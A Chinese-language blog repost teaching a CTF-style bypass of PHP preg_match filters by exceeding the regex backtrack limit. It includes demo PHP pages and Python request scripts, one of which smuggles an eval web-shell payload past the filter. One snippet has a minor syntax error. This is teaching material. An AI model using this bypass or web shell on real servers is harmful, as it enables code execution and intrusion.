我是靠谱客的博主 懦弱枕头,最近开发中收集的这篇文章主要介绍利用正则回溯最大次数上限进行绕过利用正则回溯最大次数上限进行绕过,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

利用正则回溯最大次数上限进行绕过

文章目录

  • 利用正则回溯最大次数上限进行绕过
    • 什么是正则回溯?
    • 为什么可以利用正则回溯进行绕过?
    • php正则回溯绕过案例一
    • php正则回溯绕过案例二

什么是正则回溯?

  • 从问题的某一种状态(初始状态)出发,搜索从这种状态出发所能达到的所有“状态”,当一条路走到“尽头”的时候(不能再前进),再后退一步或若干步,从另一种可能“状态”出发,继续搜索,直到所有的“路径”(状态)都试探过。这种不断“前进”、不断“回溯”寻找解的方法,就称作“回溯法”。本质上就是深度优先搜索算法。其中退到之前的某一步这一过程,我们称为“回溯”。

img

非贪婪模式回溯过程

text = "abc"
regex = "ab{1,3}c"

image-20210815223729284

为什么可以利用正则回溯进行绕过?

  • 大量的回溯会长时间地占用CPU,从而带来系统性的开销。PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限,最大回溯次数默认为1000000次,如果超过一百万次preg_match函数返回的非 1 和 0,而是 false表示此次执行失败。

  • 在PHP中 ‘==’ 是松散比较 ‘0’与’flase’ 是相等的:

    • 使用两个等号 == 比较,只比较值,不比较类型。

    • 严格比较:用三个等号 === 比较,除了比较值,也比较类型。

    • == 在进行比较的时候,会先将字符串类型转化成相同,再比较

"0" == false: bool(true)
"0" === false: bool(false)

php正则回溯绕过案例一

PHP源码:

<?php
$input = $_POST['file'];
if(is_php($input)=='0') {
    echo "flag{raoguo-cenggong}";
}else{
    echo "bad requests";
}

function is_php($data){  
    return preg_match('/<?.*[(`;?>].*/is', $data);  
}

python绕过源码:

import requests

datas = {
    'file' : "<?php eval($_POST['oupeng']); ?>"+'h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test1.php', data=datas)
print(res.text)

当回溯次数为999990次时的运行结果:

image-20220719164522816

当回溯次数为1000000次时的运行结果:

image-20220719163916122

php正则回溯绕过案例二

php源码:

<?php
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting);
}

$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
    if(!areyouok($greeting)){
        if(strpos($greeting,'Merry Christmas')!==false){
            echo 'flag{cheng-gong}';
        }else{
            echo 'no have Merry Christmas';
        }
    }else{
        echo 'Bypass the failure';
    }
}
?>

python源码:

import requests

datas = {
    'greeting': 'Merry Christmas'+'h'*100000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)

运行结果:

image-20220719171819400

python测试

没有 ‘Merry Christmas’ 前缀的运行结果

import requests

datas = {
    'greeting': h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)

运行结果:

image-20220719172006001

最后

以上就是懦弱枕头为你收集整理的利用正则回溯最大次数上限进行绕过利用正则回溯最大次数上限进行绕过的全部内容,希望文章能够帮你解决利用正则回溯最大次数上限进行绕过利用正则回溯最大次数上限进行绕过所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(42)

评论列表共有 0 条评论

立即
投稿
返回
顶部